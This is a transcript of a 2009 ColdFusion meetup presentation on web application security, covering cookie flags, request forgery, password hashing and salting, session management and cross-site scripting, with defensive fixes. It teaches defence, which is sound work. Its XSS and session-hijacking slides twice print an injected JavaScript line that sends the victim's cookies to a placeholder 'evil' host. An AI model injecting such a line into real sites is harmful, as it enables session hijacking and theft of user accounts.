January 22 nd 2009 jason dean http www 12robots com
1 / 60

Online ColdFusion Meetup ColdFusion Application Security: Beyond SQL Injection - PowerPoint PPT Presentation

  • Uploaded on

January 22 nd , 2009 Jason Dean http://www.12robots.com. Online ColdFusion Meetup ColdFusion Application Security: Beyond SQL Injection. Who am I?. Web Application Developer with the Minnesota Department of Health (MDH) ‏ Chairperson and User Group Manager of the MDH ColdFusion User Group

I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
Download Presentation

PowerPoint Slideshow about ' Online ColdFusion Meetup ColdFusion Application Security: Beyond SQL Injection' - skip

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.

- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
January 22 nd 2009 jason dean http www 12robots com

January 22nd, 2009

Jason Dean


Online ColdFusion MeetupColdFusion Application Security: Beyond SQL Injection

Who am i
Who am I?

  • Web Application Developer with the Minnesota Department of Health (MDH)‏

  • Chairperson and User Group Manager of the MDH ColdFusion User Group

  • ColdFusion Development Blogger (who isn't?) http://www.12robots.com

  • Veteran of the U.S. Coast Guard

Today we ll look at
Today We'll Look At

  • Cookie Security

  • Request Forgeries

  • Password Security

  • Session Management

  • Cross-Site Scripting XSS

Cookie security
Cookie Security

  • Pop Quiz

  • How many parameters can a cookie accept?

  • What are they?

  • Cookie Parameters

    • Name (String)‏

    • Value (String)‏

    • Expires (DateTime)‏

    • Path (String)‏

    • Domain (String)‏

    • Secure (Boolean)‏

  • What about the HTTPOnly Parameter?

Cookie security1
Cookie Security

  • Name and Value – Pretty self-explanatory. No Security Concerns (except content)

  • Expires – This value definitely carries a security concern with it, especially for session management cookies.

  • Path – The path to which a cookie applies within a domain. If set, a domain must also be set. Default is for all pages on the domain that set the cookie to be able to access it.

  • Domain – The domain to which the cookie applies. Must start with a period. Example: domain=“.12robots.com”. Only the specified domain can access the cookie. By default, the domain that set the cookie will be used.

  • Secure – If set to “True” the cookie will only be submitted to the server over an SSL connection. No SLL, no cookie

  • HTTPOnly – This feature is new to browsers (IE6+ and FF It is a flag that tells the browser to only submit the cookie via HTTP requests, which means it cannot be access via JavaScript

Cookie security2
Cookie Security

  • Security Concerns with Path and Domain Parameters

  • Path and Domain are often overlooked as a security concern. That can be bad

  • So what's wrong with leaving the defaults for Path and Domain?

  • Let's say you had an awesome website for ColdFusion bloggers

  • When a new blogger signs up, they get their own subdomain: 12robots.awesomecfbloggers.com

  • When a blogger logs in they could get a cookie for domain=”.awesomecfbloggers.com”

  • When a blogger from that site goes to another blog on the site, their site cookies are sent to it, because they are all within the same domain .awesomecfbloggers.com

  • A malicious user could create a new account called hacker.awesomecfbloggers.com Then invite the other bloggers from awesomecfbloggers.com

  • When the other bloggers visit, if they have current cookies for .awesomecfbloggers.com, they will automatically be sent to the hacker site

  • The hacker can log those cookies

  • Then the hacker can use those sessionid values for session hijacking

  • The same thing applies to the Path value in the cookie: awesomebloggers.com/12robots

Httponly flag
HTTPOnly Flag

  • Used to specify when a cookie can be accessed

  • If set, the cookie can only be used in HTTP transactions

  • This prevent a JavaScript exploits from being used to access the cookie

  • Stops many XSS attacks that could result in session hijacking

  • Setting the HTTPOnly Flag

    • ColdFusion's <cfcookie> tag does not support the HTTPOnly flag

    • To set the HTTPOnly flag you need to use <cfheader>


Session token cookies
Session Token Cookies

  • By default, ColdFusion does not make Session Token Cookies very secure

    • Domain attribute is handled well, if “this.setClientCookies = true” in Application.cfc/cfm

    • Path is ALWAYS set to “/”

    • Cannot be set as SECURE

    • Cannot be set HTTPOnly

    • Not set as non-persistant cookies (unless J2EE)

  • So these little flaws need to be addressed, and can be addressed manually.

Manually changing session token cookies
Manually Changing Session Token Cookies

  • Setting HTTPOnly

  • Set SECURE Flag

  • Set Domain and Path











Manually changing session token cookies1
Manually Changing Session Token Cookies

  • Setting Everything

  • These blocks should be in onSessionStart() or in session initialization code

  • All of these need setClientCookies turned off in Application.cfc/cfm

  • JsessionIDs seem considerably harder to manipulate.

    • Could make SECURE

    • Could not change DOMAIN or Path without duplicating cookie

    • Seems that J2EE creates cookie whether setClientCookies is True or False









<cfset this.name = "cookieTest"/>

<cfset this.sessionManagement = true/>

<cfset this.setClientCookies = false/>

What is a request forgery
What is a Request Forgery?

  • A request forgery, also sometimes called a Cross-Site (or On-Site) Request Forgery(XSRF), is an attack that is perpetrated against the user of a site who has authenticated access to that site

  • The user is unwittingly tricked into performing actions on a site through hidden code displayed to them and, therefore, executed in their browser

  • The hacker is writing a check and your users are cashing it for him, without knowing it

That was confusing
That was confusing

  • How about an Example?

  • Our Hypothetical website http://www.easilypwnd.com

  • Has an administrator only section for maintaining users

  • Our site has a deletePage.cfm action page that accepts a single parameter, pageID

  • DeletePage.cfm has been secured to make sure ONLY our administrators can access it.

  • All is good, right?

Or is it
Or is it?

  • One morning, Bob (one of our administrators) gets an email from Kay in accounting. It has a link to a bad joke on a Joke-of-the-Day site

  • Here is the joke:

  • Bob finishes the joke, chuckles politely and deletes the email

  • About 5 minutes later, the phone starts ringing. The company website is down

  • Q: What is the difference between a used-car salesman and a computer salesman?

  • A: The used-car salesman knows when he's lying to you!

What happened
What happened?

  • The email Bob received wasn't from Kay in accounting

  • <Dramatic Pause>

  • It was from a Hacker who spoofed Kay's email address

  • The link the hacker sent, did go to a Joke-of-the-Day page, but the hacker left a comment for the joke and in his comment he placed the line:

  • So what do you think happened when Bob viewed that page with that comment on it?


What happened1
What happened?

  • When Bob viewed that page the <img /> tag went looking for the src resource and made the request:

  • And if Bob was actually logged into the site, then it was a legitimate request coming from a legitimate user and so it was executed

  • Oops


So what can be done with a request forgery
So what can be done with a Request Forgery?

  • Delete or Edit pages

  • Delete or Edit Users

  • Perform Administrative Functions

  • Send Emails

  • Transfer funds

  • Make purchases

  • Anything that an authenticated used would normally be able to do

So what can we do about it
So what can we do about it?

  • One thing we can do is to use POST requests instead of GET requests.

  • Using POST requests will stop many, but not all Request Forgeries, It would stop the <img /> attack, but not this one:







So what else can we do about it
So what ELSE can we do about it?

  • So let's say we have a form that looks like this:

  • Assume that it has other appropriate security to ensure only administrators have access

  • The page or function this POSTs to is likely vulnerable to the forgery attack we just looked at

  • It probably:

    • Receives the request

    • Checks to make sure the user is logged in

    • Confirms that the ID is valid

    • Performs the action



<inputtype="submit"name="btnSubmit"value="Delete Page 1"/>


How do we fix it
How do we fix it?

  • Create a UUID

  • Add that UUID to the form and the user session

  • We can then check the result in the action page/method to confirm that it came from the right place

<cfset session.formkeys.delPageForm = CreateUUID() />



<inputtype="submit"name="btnSubmit"value="Delete Page #queryPages.pageid#"/>



How do we fix it1
How do we fix it?

  • Another option is to ask for a second verification.

    • Prompt “Are you sure?” using server-side logic

    • Maybe even require them to enter their password again

<cfifStructKeyExists(form, "key")

AND StructKeyExists(session.formkeys, "delPageForm")

AND form.key = session.formkey.delPageForm>

<cfsetstructDelete(session.formkeys, "delPageForm") />




<!--- Finish form processing here --->

Password security
Password Security

  • How do we get a secure password?

  • Does every site need a “super” secure password?

  • Password Best Practices

  • Password Salting and Hashing

  • Password Strength Function

  • “Forgot My Password” Best Practices

Achieving a super secure password
Achieving a Super-Secure Password

  • Password should allow and required both alphabetical and numeric characters

  • Passwords should allow and require both uppercase and lowercase letters

  • Passwords should allow and require special characters

  • Passwords should probably be at least 7 or 8 characters long. If you need to have them with fewer characters, you should have a REALLY good reason for it.

  • Password should be changed every [Insert period of time here]. Depending on the security level of your system this might be every month, quarter, or six months.

  • Passwords should never contain the username or be a date

Have the password security scheme fit the website
Have the password security scheme fit the website

  • Does every site need a “super” secure password?

  • Probably not

  • It is a judgment call, get the input of the people to whom data belongs

  • There is no reason not to allow a strong password, but perhaps not every site needs to enforce it

  • At a minimum, set a decent minimum length and require some alphas (upper and lower) and some numerics

Best practices
Best Practices

  • Don't set a minimum length above 8 character

  • Where possible, use SSL

  • Load the login form using SSL (although it only needs to POST to SSL)‏

  • Don't send Login credentials on the URL string (except for Web Services, and then, only over SSL)‏

  • Never store passwords in clear text

  • Create an audit log of login attempts

  • If you lock a user out after a certain number of login attempts, do not use a cookie or tie it to the user session, do it in the database

Password hashing and salting
Password Hashing and Salting

  • What is Hashing?

  • Why do we want to Hash our passwords?

  • What is Salting and why do we want to do it?

  • Example Code

What is hashing
What is Hashing?

  • From Wikipedia: "... a Cryptographic Hash Function is a transformation that takes an input and returns a fixed-size string, which is called the hash value.

  • A hash is a One-Way Transformation

  • A strong enough hash is virtually impossible to reverse

  • A strong enough hash will have very few collisions

Hashing example
Hashing Example

<cfset val1 = "Jason"/>

<cfset val2 = "ColdFusion"/>

<cfset val3 = "SR-71 Blackbird"/>

<cfset hash1 = Hash(val1,"MD5") />

<cfset hash2 = Hash(val2,"MD5") />

<cfset hash3 = Hash(val3,"MD5") />






Hashing example1
Hashing Example

  • Will Produce:

  • 472D46CB829018F9DBD65FB8479A49BB

  • CBD672C9AAF85A22968C7BCF9FF90EED

  • 10F1C46CAF873486E530570E7A298BBB

  • Notice they are all the same number of characters. Hashes are Fixed-Length strings






Stronger hashing example
Stronger Hashing Example

  • An MD5 Hash is not strong enough

  • MD5 is fine for examples, but in the real world, MD5 is weak

  • So what are the other options?

  • In our example we did this:

  • Well we can replace MD5 with a number of other hashing algorithms that produce different fixed-lengths

    • MD5: (Default) Generates a 32-character, hexadecimal string

    • SHA: Generates a 40-character string

    • SHA-256: Generates a 64-character string

    • SHA-384: Generates a 96-character string

    • SHA-512: Generates an 128-character string

<cfset hash1 = Hash(val1,"MD5") />

Stronger hashing example1
Stronger Hashing Example

  • So let's compare the algorithms

  • In our previous example we had:

  • Now let's add:


<cfset hash1 = Hash(val1,"MD5") />

<cfset hash2 = Hash(val2,"MD5") />

<cfset hash3 = Hash(val3,"MD5") />

<cfset hash1 = Hash(val1,"SHA-256") />

<cfset hash2 = Hash(val2,"SHA-256") />

<cfset hash3 = Hash(val3,"SHA-256") />

<cfset hash1 = Hash(val1,"SHA-512") />

<cfset hash2 = Hash(val2,"SHA-512") />

<cfset hash3 = Hash(val3,"SHA-512") />

Stronger hashing example md5 result
Stronger Hashing Example MD5 Result

  • 472D46CB829018F9DBD65FB8479A49BB

  • CBD672C9AAF85A22968C7BCF9FF90EED

  • 10F1C46CAF873486E530570E7A298BBB

Stronger hashing example sha 256 result
Stronger Hashing Example SHA-256 Result

  • 7FA8A6E9FDE2F4E1DFE6FB029AF47C9633D4B7A616A42C3B2889C5226A20238D

  • 0DBDC9C5C4E9B4B11FECFAC0247A0E0F0E810A7BD0AD3EEC36C2A30FF96CE3C4

  • E153B4C97FCFAC7016A276461E06504CB9F03B9A3ADF36072E1EC7F21308736B

Stronger hashing example sha 512 result
Stronger Hashing Example SHA-512 Result

  • 27166A235CD42FB7E5A45CB89F542760373DCDC779E1697DB283013718904201D4D05537E63FD3815B596511C8704C50791C7BA3C504CAB516E622BDC6EC09C9

  • 0452F87278847018D8E6CC77F4201315AED6928A7A4075B2400D271CE8E89B1F848BFDC3B9F3A7EB2D74862EB984882C8F8D1F955E9E96F801B1419F88811A0B

  • 4FF17CC3794CAB06B880FDA5507692ADBE5BA74EDFE570611F944F43DFFE4F0A0BED2F9CBC37FE1659336038ECABE47423FFA8FC8403459D7406E13A80173259


  • A specific string will ALWAYS result in the same hash value

  • Collisions occur when two values have the same Hash value

  • Strong hashing algorithms are going to have fewer collisions

  • The longer the hash value, the less likely you will have collisions.

Implementing hashed passwords
Implementing Hashed Passwords

  • So if hashes aren't reversible, how can we tell if the user entered the correct password?

  • When the user enters their password, while logging in, we hash it and compare the result to the hash that we stored in the database.

  • Since a hash cannot be reversed, if the DB becomes compromised, the information cannot be used to obtain passwords, nor can it be used to login using the hash instead of a password

  • We'll look at an example shortly

Password salting
Password Salting

  • What is Salting?

  • Let's first talk about why we need salting

  • Because people make stupid password (i.e. “Password1!”)

  • We also need passwords because hackers are smart

  • If our password database becomes compromised, and the passwords are hashed, then the hacker will start looking for matching values

  • If the hacker finds two hashed values that are exactly the same then that value is either a common dictionary word, a name, a date, or a stupid password

  • The brute force attack on that user can then commence

  • Salting ensures that no two hashes in our database ever have the same value

Password salting1
Password Salting

  • So what is Salting then?

  • Salting is the process of adding a random string of characters to the end of a user's password before hashing it.

  • Each password would get its own salt hence eliminating the problem of two like passwords having the same hash value.

  • Let's look at examples

Password salting example
Password Salting Example

<cfset val1 = "Password1"/>

<cfset val2 = "Password1"/>

<cfset hash1 = Hash(val1, "MD5") />

<cfset hash2 = Hash(val2, "MD5") />

<cfset hash1Salted = Hash(val1 & CreateUUID(), "MD5") />

<cfset hash2Salted = Hash(val2 & CreateUUID(), "MD5") />


Value 1 Hashed:#hash1#<br/>

Value 2 Hashed:#hash2#<br/><br/>

Value 1 Salted and Hashed:#hash1Salted#<br/>

Value 2 Salted and Hashed:#hash2Salted#<br/>


Password salting example output
Password Salting ExampleOutput

  • Will result in this output:

  • Value 1 Hashed:2AC9CB7DC02B3C0083EB70898E549B63

  • Value 2 Hashed:2AC9CB7DC02B3C0083EB70898E549B63

  • Value 1 Salted and hashed:2DEB5ADAF0854BBBC24DC4797BA73027

  • Value 2 Salted and Hashed:3498DD83CA3F1945D0EE7BE16984999E


Value 1 Hashed:#hash1#<br/>

Value 2 Hashed:#hash2#<br/><br/>

Value 1 Salted and Hashed:#hash1Salted#<br/>

Value 2 Salted and Hashed:#hash2Salted#<br/>


Password salting example1
Password Salting Example

  • Value 1 Hashed:2AC9CB7DC02B3C0083EB70898E549B63

  • Value 2 Hashed:2AC9CB7DC02B3C0083EB70898E549B63

  • Value 1 Salted and Hashed:2DEB5ADAF0854BBBC24DC4797BA73027

  • Value 2 Salted and Hashed:3498DD83CA3F1945D0EE7BE16984999E

  • Notice the hashes without salting are identical

  • But, once you add a salt, the two hash values are very different

  • Of course, we need to store the salt that we use for each value so that when we hash the user input, we can append the salt

Look at code
Look at Code!

  • Let's look at some code examples

  • http://hashandsalt:81/index.cfm

  • http://hashandsalt:81/login.cfm

Forgot my password best practices
“Forgot My Password” Best Practices

  • Never have your “Forgot My Password” function e-mail the user's password (If you are hashing password you won't be able to anyway)‏

  • Either reset the users password and email them the new password or send the user a temporary URL that can be used for them to reset the password

  • Force the user to change their password after they first log in after a reset

  • Keep a log of the last X hashes of the users password so they cannot reset their password to something that have used previously (Within reason)‏

  • Make sure your Change Password functionality uses the same strength and hashing functions as your initial password set up

  • Do not login a user from the “Forgot My Password” section. Always make them go through their e-mail.

  • Tell story about bad “Forgot My Password” functionality

Session management
Session Management

  • What is a Session?

  • Session Tokens

  • Session Persistence

  • Session Hijacking

  • Session Hijack through XSS

  • Session Token Best Practices

What is a session
What is a session?

  • Since the World Wide Web is stateless, we need sessions to persist data from one page request to the next

  • If your user requests pageA.cfm and then immediately requests pageB.cfm the web server does not relate those pages to each other

  • Session Management is a way to create statefulness in a stateless environment

  • Each client is assigned a session token, which is then passed from request to request

  • Information that is stored on the server can be provided to the client that provides the correct token

Session tokens
Session Tokens

  • A session token is a unique string of characters (usually alpha numeric) that is used to identify a client (Web browser) to the server

  • The application server can use the token to match a client with the appropriate data stored on the server

  • ColdFusion has two different types of Session Tokens available

    • ColdFusion session tokens (Two varieties)

    • J2EE Session tokens

Session persistence
Session Persistence

  • Sessions can be persisted in 3 ways

    • Passing in a URL(Tough to maintain)

      • Developer has to remember to always pass the URL string

      • End user can easily lose their session by messing with the URL

      • Session Token will be logged by the web server


    • Passing in POST requests (Very difficult to maintain)

      • EVERY request from page to page needs to be a <form>

      • Even Navigation



    • Using a Token Cookie (Easy to do, easy to maintain, easier to secure)

      • End user would have a hard time screwing it up

      • Does require that your end users have cookies enabled

Session hijacking
Session Hijacking

  • What is it?

  • After initial authentication, session management takes over and persists that authentication from request to request

  • If the session token can be compromised then whoever gains access to a valid session token can impersonate the user to whom that token belongs

  • That's called Session Hijacking and all a hacker needs to accomplish a session hijacking is the session token

  • How can the session token become compromised?

    • Physical Access to a machine

    • XSS

    • Social Engineering

    • Brute-Force Guessing

Xss session token
XSS Session Token

  • Cross-Site Scripting can be used to grab a session token

  • The following line, if injected, will send all user cookie information to another site:

  • Once the other site receives your user's cookie, they can use the information to hijack the user’s session

document.location=”http://www.evilsite.com?cookie=” + document.cookie;

Session token best practices
Session Token Best Practices

  • Do NOT pass your session tokens in the URL string

  • Use cookies as a best practice

  • Use J2EE Session IDs or Set ColdFusion to use UUIDs for CFToken

  • Set cookies to HTTPOnly to prevent some XSS attacks

  • Use SSL connection to prevent packet sniffing exploits

  • Set cookies to SECURE so they are only sent via SSL

  • Use DOMAIN and PATH attributes in your cookies to minimize where they are sent

  • Set Session-Only cookies so that they expire when the browser is closed (CF Sessions Only, J2EE already does this)

  • Keep session time-out values low

Cross site scripting xss
Cross-Site Scripting (XSS)

  • Is also a type of “Injection” attack

  • Is used by one user to “attack” another

  • Can be used for session hijacking, page redirection, phishing, bypassing access controls, and other types of nefarious activities

  • Can be implemented anywhere a user is allowed to enter data that will later be view by other users, like blog comments or forum posts.

  • Is implemented by a user who enters scripts (usually Javascript) into a text entry field on a web application or directly into a URL that is emailed or IM, etc. Later when that entry is viewed by another user, the script is executed.

Cross site scripting xss1
Cross-Site Scripting (XSS)

  • XSS Vulnerabilities come in 3 flavors:

  • DOM-Based (Type 0)‏

    • A DOM-Based XSS vulnerability is exploited through pages that, somehow, exist on the local machine of the victim, placed there through social engineering, file upload exploit, or other means. We will not be discussing this type of exploit today.

  • Non-Persistent (Type 1)‏

    • Non-persistent vulnerabilities are the most common to be exploited by XSS attacks. The vulnerability exists when information sent to a page is immediately used on the receiving page without being properly prepared for display. This can be destructive through the use of manipulation to convince other users to click on links that will send code to a vulnerable page that will then perform actions on the victims behalf.

  • Persistent (Type 2)‏

    • Persistent XSS is, as the name suggests, an attack that is implemented and then lasts until it is removed. It is generally deployed through the use of a web form, SQL Injection, or some other means of injecting a script into the content of a web applications for others to view, and subsequently execute.

Xss example
XSS Example

  • You have a comments text box, like so:

  • And some joker decides to inject some Javascript:

  • Then when someone views the page that displays that comment, they get:

Xss example1
XSS Example

  • Now, this (seemingly harmless) script would be nothing more than vandalism

  • In the eyes of your end users this represents a huge security hole

  • Word would spread quickly that your site had been hacked

  • How do you think the media would report such a breach?

Xss uses
XSS Uses

  • Cross-Site Scripting can be used for much worse things then displaying an Alert window.

  • The following line will send all user cookie information to another site:

  • Once the other site receives your user's cookie, they can use the information to hijack the user’s session

document.location=”http://www.evilsite.com?cookie=” + document.cookie;

Xss iframe example
XSS iFrame Example

  • Another example is the Frame Attack where the hacker “injects” an iFrame into the comment field:

  • When another user views the output of that comment later, they will see a form prompting for their user/pass, if they enter and hit “submit” the form will be posted to the evil site.

Xss prevention
XSS Prevention

  • So how do we protect against this type of attack?

  • Turn on script protection

  • Use character encoding functions on all user generated output

  • User Input validation


Coldfusion script protect
ColdFusion Script Protect

  • Can be turned on in the Administrator with a simple checkbox

  • Can be added or disabled per-application in the Application.cfc

  • Will look for specific tags, like: <script>, <meta>, <object>, <embed>, and <applet> and replace them with <InvalidTag> if they are found in the FORM, URL, CGI, or COOKIE scopes. Does not Protect against iFrame injection or JavaScript used in <a> tags.

  • Will not protect against every type of XSS exploit

  • To enable Global Script Protection:

  • Go to you ColdFusion Administrator

  • Go into the Server Settings section on the left

  • Under "settings" you will find the check box "Enable Global Script Protection". Check it

  • Click "Submit Changes"

  • To enable Per-Application Script Protection:

  • Go to the Application.cfc file for the application

  • In the pseudo-constructor area add the line <cfset this.scriptprotect="all">

  • You can also add a list of scopes to check if you don’t want to check them all

Character encoding function
Character Encoding Function

  • Should be used on content that was created by users.

  • Will turn your hackers malicious Javascript input from:

  • Into Harmless HTML Character entities:

  • In some cases, it may be too effective.

    • If you want users to be able to use some HTML elements in their input, they will be unable

<script type=”text/javascript”>alert('Hacked!');</script>

&lt;script type=”text/javascript”&gt;alert('Hacked!');&lt;/script&gt;

This: This is <strong>Bold Text</strong>

Would become: This is &lt;strong&gt;Bold Text&lt;/strong&gt;

And when displayed: This is <strong>Bold Text</strong>

Instead of like: This is Bold Text

Input validation
Input Validation

  • Input validation can be used to avert XSS attacks (And SQL injection for that matter)‏

  • Using functions like IsNumeric() can help keep JavaScript and SQL out of fields that should be numeric

  • Length functions (i.e. Len()) can be used to determine if a field was submitted with a value that was longer than intended. Remember that <input maxlength=”” /> is enforced at the client, which means it cannot be trusted

  • Regular Expressions can be used to look for dangerous patterns, like <script> or <object> tags (If not using ScriptProtect)

  • Be careful not to restrict too much. Example, you have a Web Service that accepts XML input and one of the input elements contains a <objectDefinition> element.

  • Remember that ALL validation must be done at the server. You can have client side validation to help improve the user experience, but it cannot be trusted for anything more than that.


  • Please ask your questions now

  • Or feel free to contact me

    Jason Dean

    [email protected]


    AIM: IZB Jason

    Google Chat: deanj200